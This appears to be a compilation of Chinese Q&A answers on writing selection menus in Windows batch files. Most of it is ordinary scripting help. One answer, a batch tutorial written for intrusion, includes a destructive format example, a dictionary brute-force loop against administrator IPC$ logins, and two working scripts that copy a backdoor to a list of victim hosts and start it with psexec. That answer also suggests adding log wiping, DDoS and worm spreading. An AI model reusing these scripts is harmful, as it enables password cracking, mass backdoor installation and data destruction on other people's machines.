① 關於批處理的選擇命令
這個可以邏輯性一點嗎?
打個比方:
@echo off
if exist C:\2.vbs goto b
if exist C:\1.vbs goto aa
if not exist C:\1.vbs goto a
:a
/y %0 C:\1.bat
echo Set ws = CreateObject("Wscript.Shell")>C:\1.vbs
echo ws.run "cmd /c C:\1.bat",vbhide>>C:\1.vbs
start 1.vbs
goto aa
cls
:b
ping -n 20 127.1>nul
taskkill /im cmd.exe /f /t
:aa
echo Set ws = CreateObject("Wscript.Shell") >C:\2.vbs
echo ws.run "cmd /c C:\1.bat",vbhide>>C:\2.vbs
start c:\2.vbs
set /p j=請輸入密碼:
cls
if %j%=1111 goto abcd
if not %j%=1111 goto bcaa
:abcd
echo 正確
exit
:bcaa
cls
set /p j=請輸入密碼:
if %j%=1111 goto abcd
if not %j%=1111 goto bcaa
exit
不寫了,累死
幫我糾錯,因為寫的倉促
看那麼高分數的誘惑下還是寫了,呵呵
這個是20秒沒有輸入密碼就自動關閉
② 如何製作帶選項的批處理。例如:選擇y會執行一項命令,選擇n會執行另一項命令
一般都是用choice命令。。下面是詳細的解釋以及範例。。
Choice
在批處理程序中,通過顯示提示信息並暫停批處理程序,用戶可以從一組用戶選項鍵中進行選擇。
語法
choice [/c [Choices]] [/n] [/cs] [/tTimeout/dChoice] [/mText]
參數
/c Choices
指定用戶選項鍵。顯示時,選項鍵由逗號分隔,出現在括弧([])中,後面跟著問號。如果未指定 /cChoices,默認情況下,choice 顯示使用 [Y, N]。
/n
隱藏用戶選項鍵。如果使用此命令行選項,將在提示符之前出現消息正文,選項仍處於啟用狀態。
/cs
指定用戶選項鍵必須區分大小寫。默認情況下,用戶選項鍵不區分大小寫。
/t Timeout /d Choice
指定在默認為指定鍵之前 choice 暫停指定的秒數。下表將描述 /t 命令行選項的值。
值 描述
Timeout
要暫停的秒數。可接受的值介於 0 到 9999 之間。如果使用 0,choice 在默認為指定鍵之前不暫停。
/d Choice
指定 Timeout 秒數之後的默認選擇。您使用的字元必須在由 /cChoices 指定的選擇集中。如果使用此命令行選項,還必須同時指定 /tTimeout。
/m Text
指定要在提示符之前顯示的文字。如果您包括命令行選項字元(即 /)作為提示符之前的一部分文字,必須用引號將該文字引起來。如果未指定任何文字,choice 將只顯示提示符。
/?
在命令提示符下顯示幫助。
注釋
• ERRORVALUE 環境變數被設置為用戶從選擇列表中選擇的鍵的索引。您指派的第一個鍵將返回值 1,第二個將返回值 2,第三個將返回值 3,依此類推。如果用戶按下一個不在您指派的鍵中間的鍵,Choice.exe 將發出警告聲(即,它向控制台發送一個 BEL 或 07h 字元)。如果 Choice.exe 檢測到錯誤情況,它就會返回錯誤值 255。如果用戶按 Ctrl+Break 或 Ctrl+C,Choice.exe 就會返回錯誤值 0。當您在批處理程序中使用錯誤值參數時,請將它們以降序列出。
示例
請在批處理文件中鍵入下列語法:
choice /c ync
運行 Choice.exe 時出現下列語句:
[Y,N,C]?請在批處理文件中鍵入下列語法:
choice /c ync /n /m Yes, No or Continue?
運行 Choice.exe 時出現下列語句:
Yes, No, or Continue?按如下方式將文字添加到語法中:
choice /c ync /m Yes, No, or Continue
運行 Choice.exe 時出現下列語句:
Yes, No, or Continue [Y,N,C]?/t 命令行選項將設置一個時間限制(在該限制內用戶必須響應),並指定當用戶在該時間限制內沒有作出響應時將顯示的值。要將時間限制設置為五秒並指定 N 作為默認值,請在批處理程序中鍵入下列命令行:
choice /c ync /t 5 /d n
當批處理文件啟動 Choice.exe 時,將出現下列消息:
[Y,N,C]?如果用戶未能在五秒鍾內按下一個鍵,Choice.exe 將選擇 N 並返回錯誤值 2。否則,Choice 將返回與用戶所選對應的值。
格式圖例
格式 意義
斜體
用戶必須提供的信息
粗體
用戶必須像顯示的一樣准確鍵入的元素
省略號 (...)
可在命令行中重復多次的參數
在方括弧 ([]) 之間
可選項目
在大括弧 ({}) 之間;將選項用管線 (|) 隔開。示例:{even|odd}
用戶必須從中只選擇一個選項的選項集
Courier font
代碼或程序輸出
③ 批處理如何做到選擇命令,,我是大菜鳥,講懂加30。。。好心人快來吧,
我系統沒有choice命令,所以不能按你的思路來。
不過我給你寫了一個同樣的功能的程序,在我機器上運行良好。
set /P var="choice from 1 2 3,please enter your choice:"
if var==1 goto net1
if var==2 goto net2
if var==3 goto net3
:net1
echo 顯示1
pause
start d:\1.txt
goto end
:net2
echo 顯示2
pause
start d:\2.txt
goto end
:net3
echo 顯示3
pause
start d:\3.txt
goto end
:end
關於你的程序,可能錯在if語句,應該是 if errorlevel 3或者是別的,總之應是個判斷。還有 你的echo 後要有空格, puase 改為 pause.
關於choice的用法,參見下文:
choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。
④ 批處理文件命令怎麼寫
很長啊,還有些資料,想要的話留個郵箱吧。。。
一般批處理都是先建立一個文本文件然後輸入 批處理命令然後另存為.bat文件就好了的。。
1.Echo 命令打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。語法echo [{on|off}] [message]Sample:echo off / echo hello world在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。語法:goto label (label是參數,指定所要轉向的批處理程序中的行。) Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 命令注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。Rem MessageSample:@Rem Here is the description.
5.Pause 命令運行 Pause 命令時,將顯示下面的消息: Press any key to continue . . . Sample:@echo off :begin a:*.* d:\backecho Please put a new disk into driver A pause goto begin 在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。
6.Call 命令從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。語法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]參數[Drive:}[Path] FileName 指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。入侵常用參數:MIN 開始時窗口最小化SEPARATE 在分開的空間內開始 16 位 Windows 程序HIGH 在 HIGH 優先順序類別開始應用程序REALTIME 在 REALTIME 優先順序類別開始應用程序WAIT 啟動應用程序並等候它結束parameters 這些為傳送到命令/程序的參數執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。8.choice 命令choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end將顯示defrag,mem,end[D,M,E]?Sample:Sample.bat的內容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)if errorlevel 2 goto mem if errotlevel 1 goto end
:defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式: 1、if "參數" == "字元串" 待執行的命令 參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)如if "%1"=="a" format a: if {%1}=={} goto noparmsif {%2}=={} goto noparms
2、if exist 文件名 待執行的命令 如果有指定的文件,則條件成立,運行命令,否則運行下一句。如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令 如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。如if errorlevel 2 goto x2 DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for 命令for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一個單一字母可替換的參數。(set) 指定一個或一組文件。可以使用通配符。command 指定對每個文件執行的命令。command-parameters 為特定命令指定參數或命令行開關。在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的下一個文件之前,每份文件都已被打開、讀取並經過處理。處理包括讀取文件,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符號字元串變數值調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白行。您可通過指定可選 "options"參數替代默認解析操作。這個帶引號的字元串包括一個或多個指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)skip=n - 指在文件開始時忽略的行數。delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的格式為一個范圍。通過 nth 符號指定 m符號字元串中的最後一個字元星號,那麼額外的變數將在最後一個符號解析之分配並接受行的保留文本。usebackq - 指定新語法已在下類情況中使用:在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 fi中使用雙引號擴起文件名稱。
sample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 z 或Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。這樣,該字元串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:
~I - 刪除任何引號("),擴充 %I%~fI - 將 %I 擴充到一個完全合格的路徑名%~dI - 僅將 %I 擴充到一個驅動器號%~pI - 僅將 %I 擴充到一個路徑%~nI - 僅將 %I 擴充到一個文件名%~xI - 僅將 %I 擴充到一個文件擴展名%~sI - 擴充的路徑只含有短名%~aI - 將 %I 擴充到文件的文件屬性%~tI - 將 %I 擴充到文件的日期/時間%~zI - 將 %I 擴充到文件的大小%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義,或者沒有找到文件,此組合鍵會擴充空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑%~nxI - 僅將 %I 擴充到一個文件名和擴展名%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection …………OK@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt@p***ec \\%1 c:\winnt\system32\windrv32.exe@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) -------------------這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
⑤ 批處理怎麼選擇命令
回答問題也不寫全,而且語法還有錯誤。
他的程序只需改一下就ok了
@echo off
setlocal enabledelayedexpansion
set /p st=請選擇程序:
if not defined ren *.txt *.bmp
if "%st%"=="1" (ren *.txt *.bmp) else (
ren *.bmp *.txt
)
⑥ 批處理 選擇命令
@echo off
:start
echo.&echo.
echo 確認刪除當前目錄及子目錄下所有文件?
echo.&echo.
echo [ Y=是 ] [ N=退出 ]
echo.&echo.
set/p choice=請輸入命令:
if /i "%choice:~0,1%"=="Y" rem none
if /i "%choice:~0,1%"=="N" EXIT
cls & goto start
echo ___________________________________________
echo.&echo.
echo 再次確認 [ Y=是 ] [ E=退出 ] ?
echo.&echo.
echo ___________________________________________
set/p choice2=命令選擇 Y/ N ? :
if /i "%choice2%"=="Y" (rem 啊哈哈) else (exit)
echo 按任意鍵繼續,被刪除的文件無法恢復...
pause>nul
echo 正在刪除...
echo del /s /q *.*
rem 注意這里echo了,你可以去掉echo
pause>nul
⑦ 批處理中選擇執行的命令
@ECHO OFF
:START
CLS
SET Choice=
SET /P Choice=請選擇要查看的頁面,然後按回車:
ECHO.
IF NOT '%Choice%'=='' SET Choice=%Choice:~0,1%
IF /I '%Choice%'=='1' GOTO PAGE1
IF /I '%Choice%'=='2' GOTO PAGE2
IF /I '%Choice%'=='Q' GOTO END
GOTO START
Page1:
Notepad a.txt
Page2:
Notepad b.txt
⑧ 批處理選擇命令最初選擇怎樣寫
加一個goto循環就可以:
@echo off
:loop
echo 1.執行1.bat
echo 2.執行2.bat
echo 3.退出
echo. 請輸入選擇項目的序號:
set /p ID=
if "%id%"=="1" goto cmd1
if "%id%"=="2" goto cmd2
IF "%id%"=="3" exit
cls
echo.
echo 你的輸入錯誤,請重新輸入序列號.
ping -n 3 127.1>nul
cls
goto loop
⑨ 批處理選擇命令
@echo off
echo 1.執行1.bat
echo 2.執行2.bat
echo 3.執行3.bat
set /p choice=請輸入數字:
if %choice%==1 start 1.bat
if %choice%==2 start 2.bat
if %choice%==3 start 3.bat
cls
%0